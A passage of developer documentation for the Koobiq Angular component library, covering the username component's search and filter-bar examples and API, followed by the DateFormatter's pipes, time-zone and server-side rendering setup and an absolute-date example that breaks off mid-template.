        .kbq-username__secondary-hint {
            margin-inline-start: var(--kbq-size-xxs);
        }

        .example__content {
            display: flex;
            flex-direction: column;
            gap: var(--kbq-size-m);
            width: 320px;
        }
    `,
    providers: [
        kbqSelectOptionsProvider({ searchMinOptionsThreshold: 0 })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-align-center-center layout-row layout-margin-5xl'
    }
})
export class UsernameSearchExample {
    private readonly formatUsername = kbqInjectUsernameFormatter();

    protected readonly isCompact = model(false);
    protected readonly searchControl = new FormControl('', { nonNullable: true });

    private readonly searchText = toSignal(this.searchControl.valueChanges.pipe(startWith('')), { initialValue: '' });

    protected readonly users: KbqUserInfo[] = [
        { firstName: 'Maxwell', middleName: 'Alan', lastName: 'Root', login: 'mroot', site: 'corp' },
        { firstName: 'Alice', middleName: 'Marie', lastName: 'Stone', login: 'astone' },
        { firstName: 'Robert', lastName: 'Green', login: 'rgreen', site: 'dev' },
        { firstName: 'Elena', middleName: 'Vera', lastName: 'Fox', login: 'efox' },
        { firstName: 'Madonna', login: 'madonna', site: 'corp' }
    ];

    protected readonly selectedUser = signal<KbqUserInfo | null>(this.users[0]);

    // The name, the login and the site are rendered in separate elements, so each word of the query is highlighted on its own.
    protected readonly keywords = computed(() => tokenizeSearchQuery(this.searchText()));

    protected readonly filteredUsers = computed(() => {
        const matches = createSearchPredicate(this.searchText());

        return this.users.filter((user) =>
            matches(
                kbqBuildUsernameText(
                    { name: this.formatUsername(user), login: user.login, site: user.site },
                    { formatSite: (s) => s }
                )
            )
        );
    });
}
```

##### Search in Filter bar

The same approach works in the filter bar, inside `kbq-pipe-select`. The look of an option is defined by `valueTemplate`, so you can render the username component as its label. The entered search text comes from the template context: the `$implicit` variable holds the pipe component itself, and its `searchControl.value` property keeps the current string.

Put the formatted name in the `name` property — it is used as the trigger display value. Add the login and site to `searchKey` so the built-in filter covers every visible field.

**Example: Username filter bar option** (`username-filter-bar-option`)

```ts username-filter-bar-option-example.ts
import { AfterViewInit, ChangeDetectionStrategy, Component, TemplateRef, viewChild } from '@angular/core';
import { KbqHighlightBackgroundPipe, tokenizeSearchQuery } from '@koobiq/components/core';
import { KbqFilter, KbqFilterBarModule, KbqPipeTemplate, KbqPipeTypes } from '@koobiq/components/filter-bar';
import {
    kbqBuildUsernameText,
    kbqInjectUsernameFormatter,
    KbqUserInfo,
    KbqUsernameModule
} from '@koobiq/components/username';

const USERS: KbqUserInfo[] = [
    { firstName: 'Maxwell', middleName: 'Alan', lastName: 'Root', login: 'mroot', site: 'corp' },
    { firstName: 'Alice', middleName: 'Marie', lastName: 'Stone', login: 'astone' },
    { firstName: 'Robert', lastName: 'Green', login: 'rgreen', site: 'dev' },
    { firstName: 'Elena', middleName: 'Vera', lastName: 'Fox', login: 'efox' },
    { firstName: 'Madonna', login: 'madonna', site: 'corp' }
];

@Component({
    selector: 'username-filter-bar-option-example',
    imports: [KbqFilterBarModule, KbqUsernameModule, KbqHighlightBackgroundPipe],
    template: `
        <kbq-filter-bar [pipeTemplates]="pipeTemplates" [(filter)]="activeFilter">
            @for (pipe of activeFilter.pipes; track pipe) {
                <ng-container *kbqPipe="pipe" />
            }
        </kbq-filter-bar>

        <ng-template #userOption let-pipe let-option="option">
            @let keywords = tokenizeSearchQuery(pipe.searchControl.value ?? '');

            <kbq-username>
                <kbq-username-custom-view>
                    @let fullName = option.value | kbqUsername;
                    <span kbqUsernamePrimary [innerHTML]="fullName | kbqHighlightBackground: keywords : true"></span>

                    @if (option.value?.login) {
                        <span kbqUsernameSecondary>
                            <span [innerHTML]="option.value.login | kbqHighlightBackground: keywords : true"></span>
                            @if (option.value.site) {
                                <span
                                    kbqUsernameSecondaryHint
                                    [innerHTML]="
                                        '(' + option.value.site + ')' | kbqHighlightBackground: keywords : true
                                    "
                                ></span>
                            }
                        </span>
                    }
                </kbq-username-custom-view>
            </kbq-username>
        </ng-template>
    `,
    styles: `
        kbq-filter-bar {
            width: auto;
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush,
    host: {
        class: 'layout-margin-5xl layout-align-center-center layout-row'
    }
})
export class UsernameFilterBarOptionExample implements AfterViewInit {
    private readonly formatUsername = kbqInjectUsernameFormatter();
    private readonly userOptionTemplate = viewChild<TemplateRef<any>>('userOption');

    activeFilter: KbqFilter = {
        name: '',
        readonly: false,
        disabled: false,
        changed: false,
        saved: false,
        pipes: [
            {
                name: 'Assignee',
                type: KbqPipeTypes.Select,
                value: null,
                search: true,
                cleanable: true,
                removable: false,
                disabled: false
            }
        ]
    };

    pipeTemplates: KbqPipeTemplate[] = [];

    protected readonly tokenizeSearchQuery = tokenizeSearchQuery;

    ngAfterViewInit(): void {
        this.pipeTemplates = [
            {
                name: 'Assignee',
                type: KbqPipeTypes.Select,
                values: USERS.map((user) => ({
                    name: kbqBuildUsernameText(
                        { name: this.formatUsername(user), login: user.login, site: user.site },
                        { formatSite: (s) => s }
                    ),
                    value: user,
                    id: user.login
                })),
                valueTemplate: this.userOptionTemplate(),
                cleanable: true,
                removable: false,
                disabled: false
            }
        ];
    }
}
```

### API

#### Components

##### KbqUsername (component)

Displays a user's name based on profile data.
Supports different display modes and visual styles.
A custom view can be provided via `<kbq-username-custom-view>` for full control over the output.
Accepts input profile data and optional formatting options.

```ts
@Component({ selector: 'kbq-username', exportAs: 'kbqUsername' })
class KbqUsername {
    readonly userInfo = input<KbqUserInfo>();
    readonly isCompact = input<boolean>(false);
    readonly fullNameFormat = input<string>(kbqDefaultFullNameFormat);
    readonly mode = input<KbqUsernameMode>('inline');
    readonly type = input<KbqUsernameStyle>('default');
}
```

- `[userInfo]`: `KbqUserInfo` — User profile data used for display.
- `[isCompact]`: `boolean` — Enables compact display mode
- `[fullNameFormat]`: `string` — Format string for rendering the user's full name.
- `[mode]`: `KbqUsernameMode` — Display mode of the username. Defaults to `'inline'`.
- `[type]`: `KbqUsernameStyle` — Visual style of the username. Defaults to `'default'`.

#### Directives

##### KbqUsernameCustomView (directive)

Custom content for `KbqUsername`, overrides default view.

```ts
@Directive({
    selector: 'kbq-username-custom-view, [kbq-username-custom-view]',
    exportAs: 'kbqUsernameCustomView'
})
class KbqUsernameCustomView {}
```

##### KbqUsernamePrimary (directive)

Styles the primary part of the username (e.g. full name).

```ts
@Directive({ selector: '[kbqUsernamePrimary]', exportAs: 'kbqUsernamePrimary' })
class KbqUsernamePrimary {}
```

##### KbqUsernameSecondary (directive)

Styles the secondary part.

```ts
@Directive({
    selector: '[kbqUsernameSecondary]',
    exportAs: 'kbqUsernameSecondary'
})
class KbqUsernameSecondary {}
```

##### KbqUsernameSecondaryHint (directive)

Styles a secondary hint.

```ts
@Directive({
    selector: '[kbqUsernameSecondaryHint]',
    exportAs: 'kbqUsernameSecondaryHint'
})
class KbqUsernameSecondaryHint {}
```

#### Pipes

##### KbqUsernameCustomPipe (pipe)

Formats a user profile into a name string.

A lowercase key renders an initial and an uppercase one the full value; every character with no
mapped field is emitted verbatim, so the format carries its own separators.

`KbqUsernamePipe` derives the form from a following `.` instead.

```ts
@Pipe({ name: 'kbqUsernameCustom' })
class KbqUsernameCustomPipe<T = unknown> implements PipeTransform {
    transform(
        profile: T,
        format?: string,
        customMapping?: KbqFormatKeyToProfileMappingExtended<T>
    ): string;
}
```

- `transform()`: `string` — Builds a formatted name string from the user profile using the provided format and mapping.

##### KbqUsernamePipe (pipe)

Formats a user profile into a name string.

A key followed by `.` renders an initial and any other key renders the full value; the separating
spaces are inserted by the pipe, so a character that is neither a mapped key nor `.` is dropped.

`KbqUsernameCustomPipe` derives the form from the key's case instead, and keeps the format's own
punctuation.

```ts
@Pipe({ name: 'kbqUsername' })
class KbqUsernamePipe<T = unknown> implements PipeTransform {
    transform(
        profile: T,
        format?: string,
        customMapping?: KbqFormatKeyToProfileMapping
    ): string;
}
```

- `transform()`: `string` — Builds a formatted name string from the user profile using the provided format and mapping.

#### Functions

##### kbqBuildUsernameText (function)

Builds a full username string from a pre-formatted name plus optional login and site,
mirroring the text rendered by `kbq-username`.

Provide custom `formatLogin` / `formatSite` to tailor the output.

```ts
function kbqBuildUsernameText(
    data: { name: string } & Partial<Pick<KbqUserInfo, 'login' | 'site'>>,
    options?: KbqUsernameTextOptions
): string;
```

##### kbqFormatUsername (function)

Formats a profile the way `KbqUsernamePipe` and `kbq-username` do: a key followed by
`KbqUsernameFormatKey.Dot` renders an initial, any other key renders the full value, and the
parts are joined with single spaces — a character that is neither a mapped key nor `.` is dropped.

Fields the profile does not carry are skipped one by one, so a partial profile still renders whatever
it has.

```ts
function kbqFormatUsername<T = unknown>(
    profile: T,
    format: string,
    mapping: KbqFormatKeyToProfileMapping | KbqFormatKeyToProfileMappingExtended
): string;
```

- `profile`: `T` — Profile to format. Anything that is not a record — null, a primitive, an array —
  formats as an empty string.
- `format`: `string` — Format string, e.g. `kbqDefaultFullNameFormat`.
- `mapping`: `KbqFormatKeyToProfileMapping | KbqFormatKeyToProfileMappingExtended` — Format key to profile field mapping, e.g. `kbqDefaultProfileMapping`. Resolve it
  from your own injection context — `inject(KBQ_PROFILE_MAPPING)` — to honour a scoped override.

##### kbqFormatUsernameCustom (function)

Formats a profile the way `KbqUsernameCustomPipe` does: a lowercase key renders an initial, an
uppercase one the full value, and every character with no mapped field — the separators — is emitted
verbatim, which is what lets the format carry its own punctuation.

```ts
function kbqFormatUsernameCustom<T = unknown>(
    profile: T,
    format: string,
    mapping: KbqFormatKeyToProfileMapping | KbqFormatKeyToProfileMappingExtended
): string;
```

- `profile`: `T` — Profile to format. Anything that is not a record — null, a primitive, an array —
  formats as an empty string.
- `format`: `string` — Format string, e.g. `kbqDefaultFullNameFormatCustom`.
- `mapping`: `KbqFormatKeyToProfileMapping | KbqFormatKeyToProfileMappingExtended` — Format key to profile field mapping, e.g. `kbqDefaultProfileMapping`. Resolve it
  from your own injection context — `inject(KBQ_PROFILE_MAPPING)` — to honour a scoped override.

##### kbqInjectUsernameFormatter (function)

Returns the formatter `kbq-username` renders with, bound to the `KBQ_PROFILE_MAPPING` visible at the
call site. Use it wherever the displayed string is needed outside a template — a search filter, an
option label — so that a scoped mapping applies to both paths.

Must run in an injection context.

```ts
function kbqInjectUsernameFormatter(): <T>(profile: T, format?: string) => string;
```

#### Types

##### KbqFormatKeyToProfileMapping (type)

Maps each format key to a property name in the user profile object.
Allows flexible formatting regardless of profile field names.

Excludes the uppercase keys: `KbqUsernamePipe` decides shortness from a following
`KbqUsernameFormatKey.Dot`, so a case pair would carry no meaning for it. The mapping that does
carry them is `KbqFormatKeyToProfileMappingExtended`.

```ts
type KbqFormatKeyToProfileMapping<T = any> = {
    [
        key in Exclude<
            KbqUsernameFormatKey,
            KbqUsernameFormatKey.FirstNameFull | KbqUsernameFormatKey.MiddleNameFull | KbqUsernameFormatKey.LastNameFull
        >
    ]: keyof T | undefined;
};
```

##### KbqFormatKeyToProfileMappingExtended (type)

Maps each format key to a property name in the user profile object.
Allows flexible formatting regardless of profile field names.

Covers the uppercase keys as well, which is the pair `KbqUsernameCustomPipe` derives the form from.

```ts
type KbqFormatKeyToProfileMappingExtended<T = any> = {
    [key in KbqUsernameFormatKey]: keyof T | undefined;
};
```

##### KbqUserInfo (type)

Basic user info rendered by `kbq-username`.

```ts
type KbqUserInfo = {
    firstName?: string;
    lastName?: string;
    middleName?: string;
    login?: string;
    site?: string;
};
```

- `firstName?`: `string` — Given name.
- `lastName?`: `string` — Family name.
- `middleName?`: `string` — Middle name or patronymic.
- `login?`: `string` — Account name, rendered as the secondary part.
- `site?`: `string` — Site the account belongs to, rendered in parentheses after the login.

##### KbqUsernameMode (type)

Layout mode for displaying a username and applying text-ellipsis.

- `stacked`: Elements shown vertically.
- `inline`: Elements shown in one line. Text ellipsis is applied to both parts.
- `text`: `display: inline`, so the username flows inside a sentence; nothing clips it, hence no title.

```ts
type KbqUsernameMode = 'stacked' | 'inline' | 'text';
```

##### KbqUsernameStyle (type)

Visual style of the username.

- `default`: standard styling with primary and secondary colors.
- `error`: error colors (e.g., red).
- `accented`: no color theming; emphasizes via typography only.
- `inherit`: inherits parent styles, no theming. For example, useful when using inside links.

```ts
type KbqUsernameStyle = 'default' | 'error' | 'accented' | 'inherit';
```

##### KbqUsernameTextOptions (interface)

```ts
interface KbqUsernameTextOptions {
    formatLogin?: (login: string) => string;
    formatSite?: (site: string) => string;
    bidiIsolate?: boolean;
}
```

- `formatLogin?`: `(login: string) => string` — Formats the login segment. Defaults to identity.
- `formatSite?`: `(site: string) => string` — Formats the site segment.
  Defaults to wrapping in parentheses, matching kbq-username display.
- `bidiIsolate?`: `boolean` — Wraps every segment in `U+2068`/`U+2069` so that a right-to-left name keeps its order next to a
  left-to-right login, and the parentheses around the site stay attached to it.

  Off by default: the isolates are invisible but real characters, and this string is commonly fed to
  an `includes()` filter that would stop matching.

#### Enums

##### KbqUsernameFormatKey (enum)

Keys naming the profile field a format character stands for.

The key identifies the *field* only. Whether it renders in full or as an initial is decided by the
pipe that reads the format: `KbqUsernamePipe` abbreviates a key that is followed by `Dot`,
`KbqUsernameCustomPipe` abbreviates the lowercase keys. The two upper/lower pairs therefore exist so
that a single mapping serves both rules.

```ts
enum KbqUsernameFormatKey {
    FirstNameShort = 'f',
    FirstNameFull = 'F',
    MiddleNameShort = 'm',
    MiddleNameFull = 'M',
    LastNameShort = 'l',
    LastNameFull = 'L',
    Dot = '.'
}
```

- `FirstNameShort`: `'f'` — First name, abbreviated by `KbqUsernameCustomPipe`.
- `FirstNameFull`: `'F'` — First name, rendered in full by `KbqUsernameCustomPipe`.
- `MiddleNameShort`: `'m'` — Middle name, abbreviated by `KbqUsernameCustomPipe`.
- `MiddleNameFull`: `'M'` — Middle name, rendered in full by `KbqUsernameCustomPipe`.
- `LastNameShort`: `'l'` — Last name, abbreviated by `KbqUsernameCustomPipe`.
- `LastNameFull`: `'L'` — Last name, rendered in full by `KbqUsernameCustomPipe`.
- `Dot`: `'.'` — Abbreviation mark. `KbqUsernamePipe` abbreviates the key it follows; never maps to a field.

#### Constants

##### KBQ_PROFILE_MAPPING (const)

Injection token for providing a global username format-to-profile mapping.

Resolved where the `kbq-username` component or the pipe lives, so a component-level or route-level
provider applies to that subtree. Outside a template, resolve it from your own injection context —
`kbqInjectUsernameFormatter()` does exactly that.

```ts
const KBQ_PROFILE_MAPPING: InjectionToken<KbqFormatKeyToProfileMapping | KbqFormatKeyToProfileMappingExtended>;
```

##### KBQ_USERNAME_DEFAULT_LOCALE_CONFIGURATION (const)

Default localized strings of `kbq-username`.

```ts
const KBQ_USERNAME_DEFAULT_LOCALE_CONFIGURATION: KbqUsernameLocaleConfiguration;
```

##### KBQ_USERNAME_LOCALE_CONFIGURATION (const)

Localization configuration provider for `kbq-username`.

```ts
const KBQ_USERNAME_LOCALE_CONFIGURATION: InjectionToken<KbqUsernameLocaleConfiguration>;
```

##### kbqDefaultFullNameFormat (const)

Default format of `KbqUsernamePipe` and of the `kbq-username` component: full last name, first and
middle names as initials.

Written in that pipe's own syntax — a key followed by `.` renders an initial, any other key renders
the full value, and the separating spaces are inserted by the pipe rather than by the format.

```ts
const kbqDefaultFullNameFormat: string;
```

##### kbqDefaultFullNameFormatCustom (const)

Default format of `KbqUsernameCustomPipe`: full last name, first and middle names as initials.

Written in that pipe's own syntax — uppercase keys render the full value, lowercase ones an initial,
and every other character is copied verbatim, which is where the spaces and the dots come from.

```ts
const kbqDefaultFullNameFormatCustom: string;
```

##### kbqDefaultProfileMapping (const)

Mapping of every format key onto a field of `KbqUserInfo`. Backs `KBQ_PROFILE_MAPPING`
and is the fallback of both pipes, so a profile shaped like `KbqUserInfo` needs no mapping at all.

Covers the uppercase keys as well, which is what makes `kbqDefaultFullNameFormatCustom` work out of
the box; spread it to map extra fields without losing the defaults.

```ts
const kbqDefaultProfileMapping: { f: "firstName"; F: "firstName"; m: "middleName"; M: "middleName"; l: "lastName"; L: "lastName"; ".": undefined; };
```

##### kbqUsernameLocaleConfigurationProvider (const)

Utility provider. Only the strings you pass are overridden; the rest keep following the active locale.

Provides `KBQ_USERNAME_LOCALE_CONFIGURATION`.

```ts
const kbqUsernameLocaleConfigurationProvider: (
    configuration: KbqDeepPartial<KbqUsernameLocaleConfiguration>
) => Provider;
```

## Date formatter

- Page: https://koobiq.io/en/other/date-formatter/overview

### Overview

DateFormatter is a unified system for formatting dates and times. It keeps the presentation consistent across the whole application and follows the corporate standards.

DateFormatter tracks locale changes through KbqLocaleService on its own and updates the formats when the interface language changes.

#### Methods in TypeScript code

DateFormatter methods format a date or a time directly in TypeScript code:

```typescript
const formattedStringOfDate = this.formatter.absoluteLongDate(this.adapter.today());
```

#### Pipes in templates

Formatting in HTML templates is done with pipes whose names correspond to the DateFormatter methods:

```html
<div>{{ adapter.today() | kbqAbsoluteLongDate }}</div>
```

The pipes need `KbqFormattersModule` to be imported — it provides `DateFormatter` and exports every pipe. [Usage examples](https://github.com/koobiq/angular-components/tree/main/packages/components-dev/date-pipes)

##### Which family to choose

The same format is available in three flavours:

| Family                   | Example                      | Behaviour                                                                                                |
| ------------------------ | ---------------------------- | -------------------------------------------------------------------------------------------------------- |
| `kbq*` — **recommended** | `kbqAbsoluteLongDate`        | Recomputes on a KbqLocaleService locale change, caches the result by value, arguments and locale         |
| No prefix                | `absoluteLongDate`           | A pure pipe. Recomputes only when the input value changes — **the string goes stale on a locale change** |
| `ImpurePipe` suffix      | `absoluteLongDateImpurePipe` | An impure pipe with no cache: reformats on every change detection cycle                                  |

The unprefixed and `ImpurePipe` flavours are deprecated and will be removed in 22.0.0: each one maps to the `kbq*` pipe of the same format, with the same arguments.

##### The pipes

| Pipe                       | Input        | Arguments                                          | DateFormatter method    |
| -------------------------- | ------------ | -------------------------------------------------- | ----------------------- |
| `kbqAbsoluteShortDate`     | date         | `currYear?: boolean`                               | `absoluteShortDate`     |
| `kbqAbsoluteLongDate`      | date         | `currYear?: boolean`                               | `absoluteLongDate`      |
| `kbqAbsoluteShortDateTime` | date         | `options?: DateTimeOptions`                        | `absoluteShortDateTime` |
| `kbqAbsoluteLongDateTime`  | date         | `options?: DateTimeOptions`                        | `absoluteLongDateTime`  |
| `kbqRelativeShortDate`     | date         | `options?: Pick<DateTimeOptions, 'sentenceStart'>` | `relativeShortDate`     |
| `kbqRelativeLongDate`      | date         | `options?: Pick<DateTimeOptions, 'sentenceStart'>` | `relativeLongDate`      |
| `kbqRelativeShortDateTime` | date         | `options?: DateTimeOptions`                        | `relativeShortDateTime` |
| `kbqRelativeLongDateTime`  | date         | `options?: DateTimeOptions`                        | `relativeLongDateTime`  |
| `kbqRangeShortDate`        | `[from, to]` | —                                                  | `rangeShortDate`        |
| `kbqRangeLongDate`         | `[from, to]` | —                                                  | `rangeLongDate`         |
| `kbqRangeShortDateTime`    | `[from, to]` | `options?: DateTimeOptions`                        | `rangeShortDateTime`    |
| `kbqRangeMiddleDateTime`   | `[from, to]` | `options?: DateTimeOptions`                        | `rangeMiddleDateTime`   |
| `kbqRangeLongDateTime`     | `[from, to]` | `options?: DateTimeOptions`                        | `rangeLongDateTime`     |
| `kbqDurationShortest`      | `[from, to]` | `options?: DateTimeOptions`                        | `durationShortest`      |
| `kbqDurationShort`         | `[from, to]` | `units?: DurationUnit[]`, `fraction?: boolean`     | `durationShort`         |
| `kbqDurationLong`          | `[from, to]` | `units?: DurationUnit[]`, `fraction?: boolean`     | `durationLong`          |

`DateTimeOptions` is `{ seconds?: boolean; milliseconds?: boolean; currYear?: boolean; sentenceStart?: boolean }`; `sentenceStart` is read by the relative formats only. `kbqDurationShortest` uses only `seconds` (`true` by default) and `milliseconds` from it.

```html
<div>{{ [task.startedAt, task.finishedAt] | kbqDurationShortest }}</div>
<div>{{ [task.startedAt, task.finishedAt] | kbqDurationLong: ['hours', 'minutes'] }}</div>
```

##### Opened ranges

Pass `null` instead of one of the bounds and the range pipe switches to the opened-range format ("From January 15", "Until June 20") on its own. No separate pipe is needed for that.

```html
<div>{{ [filter.from, filter.to] | kbqRangeLongDate }}</div>
```

`kbqRangeMiddleDateTime` is the exception: the middle format has no opened-range template, so it requires both bounds.

##### Empty and invalid values

When a date is missing or cannot be parsed, the pipe renders an empty string. The input types allow this: a binding that has not been populated yet is `null` or `undefined`, not a date, and for the range and duration pipes that applies to the whole `[from, to]` tuple as well as to a bound inside it.

The range pipes that support an opened range — `kbqRangeShortDate`, `kbqRangeLongDate`, `kbqRangeShortDateTime`, `kbqRangeLongDateTime` — render an empty string only when both bounds are missing or invalid; a single valid bound switches them to the opened-range format instead. `kbqRangeMiddleDateTime` and the duration pipes need both bounds, so they render an empty string as soon as either one is missing or invalid; the duration pipes additionally render an empty string when the start is later than the end.

Call the `DateFormatter` methods directly if you need to be told about the error instead of hiding it — they throw.

##### Custom formats

Formats that have no pipe are available through `DateFormatter`: its public `config` field holds the templates of the active locale.

```typescript
private readonly formatter = inject<DateFormatter<DateTime>>(DateFormatter);

format(from: DateTime, to: DateTime): string {
    return this.formatter.rangeDate(from, to, this.formatter.config.rangeTemplates.closedRange.middle);
}
```

`absoluteDate`, `relativeDate`, `rangeDateTime`, `duration` and `openedRangeDate` work the same way — they take a template as an argument.

#### Time zone

By default dates are rendered in the time zone of the host the code runs on: the user's zone in the browser, the server's zone during server-side rendering. The `KBQ_DATE_TIMEZONE` token sets the zone once for the whole application — the pipes, `DateFormatter`, the calendar and the date inputs all switch to it, so there is no offset to pass to every pipe.

```typescript
bootstrapApplication(App, {
    providers: [kbqDateTimezoneProvider('Europe/Moscow')]
});
```

The token accepts:

| Value                      | Example                              | Notes                              |
| -------------------------- | ------------------------------------ | ---------------------------------- |
| IANA zone name             | `'Europe/Moscow'`                    | Follows the DST rules of that zone |
| Offset in minutes from UTC | `180`, `-330`                        | Fixed, with no DST                 |
| Offset as a string         | `'+03:00'`, `'UTC+3'`, `'GMT+05:30'` | The same, written out              |
| `'utc'`                    |                                      |                                    |
| `'system'`                 |                                      | The default — the zone of the host |

An unknown zone name does not break rendering: dates stay in the host zone and a warning is logged in development mode. The same applies to an offset outside `±14:00`, the widest any zone has ever used; a fractional offset is rounded to whole minutes.

##### Changing the zone at runtime

`KbqDateTimezoneService.setTimezone()` changes the zone without a reload, and the `kbq*` pipes re-render:

```typescript
private readonly timezoneService = inject(KbqDateTimezoneService);

setUserTimezone(timezone: string) {
    this.timezoneService.setTimezone(timezone);
}
```

Pure pipes (the ones without the `kbq` prefix) do not react to a zone change, exactly as they do not react to a locale change.

##### A zone for part of the application

The zone reaches the pipes through the date adapter and `DateFormatter`, and those read `KbqDateTimezoneService` from the injector that created them. `kbqDateTimezoneProvider` provides that service alongside the token, so scoping a zone to a subtree means listing it with the adapter and the formatter:

```typescript
@Component({
    providers: [
        kbqDateTimezoneProvider('Asia/Tokyo'),
        { provide: DateAdapter, useClass: LuxonDateAdapter },
        DateFormatter
    ]
})
```

##### Server-side rendering

With SSR the page is rendered in the server zone and re-rendered in the browser zone after hydration. When the two differ, every date on the page changes at once, which reads as flickering. To avoid it, the server and the client have to receive the same `KBQ_DATE_TIMEZONE` value.

The most reliable way to pass it is `TransferState`: the server resolves the zone from a cookie (or from the user profile) and puts it into the state, and the client reads the resolved value — so the two match even when there is no cookie yet.

```typescript
// server config
export const serverConfig = mergeApplicationConfig(appConfig, {
    providers: [
        provideServerRendering(),
        {
            provide: KBQ_DATE_TIMEZONE,
            useFactory: () => {
                const timezone = readTimezoneCookie(inject(REQUEST, { optional: true })) ?? 'utc';

                inject(TransferState).set(TIMEZONE_KEY, timezone);

                return timezone;
            }
        }
    ]
});

// browser config — take exactly what the server rendered with
export const appConfig: ApplicationConfig = {
    providers: [
        {
            provide: KBQ_DATE_TIMEZONE,
            useFactory: () => inject(TransferState).get(TIMEZONE_KEY, 'utc')
        }
    ]
};
```

On the very first visit there is no cookie yet, and the page renders with the fallback (`'utc'` in the example). After hydration, compare it with `Intl.DateTimeFormat().resolvedOptions().timeZone`, write the cookie and, if the zone has to apply right away, call `setTimezone()` — that is a single re-render, and only on the first visit. When the zone is stored in the user profile on the server, even the first visit avoids it.

#### Available formats

##### Absolute date

**Example: Absolute date-formatter** (`absolute-date-formatter`)

```ts absolute-date-formatter-example.ts
import { ChangeDetectionStrategy, ChangeDetectorRef, Component, inject } from '@angular/core';
import { LuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';
import { DateAdapter, DateFormatter, KBQ_LOCALE_SERVICE, KbqFormattersModule } from '@koobiq/components/core';
import { DateTime } from 'luxon';
import { delay } from 'rxjs';
import { distinctUntilChanged } from 'rxjs/operators';

@Component({
    selector: 'absolute-date-formatter-example',
    imports: [LuxonDateModule, KbqFormattersModule],
    templateUrl: 'absolute-date-formatter-example.html',
    styleUrls: ['absolute-date-formatter-example.css'],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AbsoluteDateFormatterExample {
    private readonly adapter = inject<DateAdapter<DateTime>>(DateAdapter);
    private readonly dateFormatter = inject<DateFormatter<DateTime>>(DateFormatter);
    private readonly changeDetectorRef = inject(ChangeDetectorRef);
    private readonly localeService = inject(KBQ_LOCALE_SERVICE);

    formats = {
        absolute: {
            long: {
                date: {
                    currentYear: '',
                    notCurrentYear: ''
                },
                dateTime: {
                    currentYear: '',
                    currentYearSeconds: '',
                    currentYearMilliseconds: '',

                    notCurrentYear: '',
                    notCurrentYearSeconds: '',
                    notCurrentYearMilliseconds: ''
                }
            },
            short: {
                date: {
                    currentYear: '',
                    notCurrentYear: ''
                },
                dateTime: {
                    currentYear: '',
                    currentYearSeconds: '',
                    currentYearMilliseconds: '',

                    notCurrentYear: '',
                    notCurrentYearSeconds: '',
                    notCurrentYearMilliseconds: ''
                }
            }
        }
    };

    constructor() {
        this.localeService.changes.pipe(distinctUntilChanged(), delay(0)).subscribe(this.onLocaleChange);
    }

    private onLocaleChange = (locale: string) => {
        this.dateFormatter.setLocale(locale);

        this.populateAbsoluteLong();
        this.populateAbsoluteShort();

        this.changeDetectorRef.markForCheck();
    };

    private populateAbsoluteShort() {
        const now = this.adapter.today();

        const short = this.formats.absolute.short;

        short.date.currentYear = this.dateFormatter.absoluteShortDate(now);
        short.date.notCurrentYear = this.dateFormatter.absoluteShortDate(now.minus({ years: 1 }));

        short.dateTime.currentYear = this.dateFormatter.absoluteShortDateTime(now);
        short.dateTime.currentYearSeconds = this.dateFormatter.absoluteShortDateTime(now, { seconds: true });
        short.dateTime.currentYearMilliseconds = this.dateFormatter.absoluteShortDateTime(now, { milliseconds: true });

        short.dateTime.notCurrentYear = this.dateFormatter.absoluteShortDateTime(now.minus({ years: 1 }));
        short.dateTime.notCurrentYearSeconds = this.dateFormatter.absoluteShortDateTime(now.minus({ years: 1 }), {
            seconds: true
        });
        short.dateTime.notCurrentYearMilliseconds = this.dateFormatter.absoluteShortDateTime(now.minus({ years: 1 }), {
            milliseconds: true
        });
    }

    private populateAbsoluteLong() {
        const now = this.adapter.today();

        const long = this.formats.absolute.long;

        long.date.currentYear = this.dateFormatter.absoluteLongDate(now);
        long.date.notCurrentYear = this.dateFormatter.absoluteLongDate(now.minus({ years: 1 }));

        long.dateTime.currentYear = this.dateFormatter.absoluteLongDateTime(now);
        long.dateTime.currentYearSeconds = this.dateFormatter.absoluteLongDateTime(now, { seconds: true });
        long.dateTime.currentYearMilliseconds = this.dateFormatter.absoluteLongDateTime(now, { milliseconds: true });

        long.dateTime.notCurrentYear = this.dateFormatter.absoluteLongDateTime(now.minus({ years: 1 }));
        long.dateTime.notCurrentYearSeconds = this.dateFormatter.absoluteLongDateTime(now.minus({ years: 1 }), {
            seconds: true
        });
        long.dateTime.notCurrentYearMilliseconds = this.dateFormatter.absoluteLongDateTime(now.minus({ years: 1 }), {
            milliseconds: true
        });
    }
}
```

```html absolute-date-formatter-example.html
<div class="kbq-text-big">
    <div>
        <h3>Long format</h3>
        <div>
            <div class="layout-row example-row-border">
                <div class="flex example-light-text-secondary">Name</div>
                <div class="flex example-light-text-secondary">Value</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">absoluteLongDate (current year)</div>
                <div class="flex">{{ formats.absolute.long.date.currentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">absoluteLongDate (not current year)</div>
                <div class="flex">{{ formats.absolute.long.date.notCurrentYear }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">absoluteLongDateTime (current year)</div>
                <div class="flex">{{ formats.absolute.long.dateTime.currentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">absoluteLongDateTime (current year) (with seconds)</div>
                <div class="flex">{{ formats.absolute.long.dateTime.currentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">absoluteLongDateTime (current year) (with milliseconds)</div>
                <div class="flex">{{ formats.absolute.long.dateTime.currentYearMilliseconds }}</div>
            </div>
            <div class="example-row-border"></div>

            <div class="layout-row example-row-border">
                <div class="flex">absoluteLongDateTime (not current year)</div>
                <div class="flex">{{ formats.absolute.long.dateTime.notCurrentYear }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">absoluteLongDateTime (not current year) (with seconds)</div>
                <div class="flex">{{ formats.absolute.long.dateTime.notCurrentYearSeconds }}</div>
            </div>
            <div class="layout-row example-row-border">
                <div class="flex">absoluteLongDateTime (not current year) (with milliseconds)</div>
                <div class="flex">{{ formats.absolute.long.dateTime.notCurrentYearMilliseconds }}</div>
            </div>
        </div>
    </div>
    <div>
        <h3>Short format</h3>
        <div>
            <div class="layout-row example-row-border">
                <div class="flex example-light-text-secondary">Name</div>
                <div class="flex example-light-text-secondary">Value</div>
            </div>
            <div class="layout-row example-row-border">
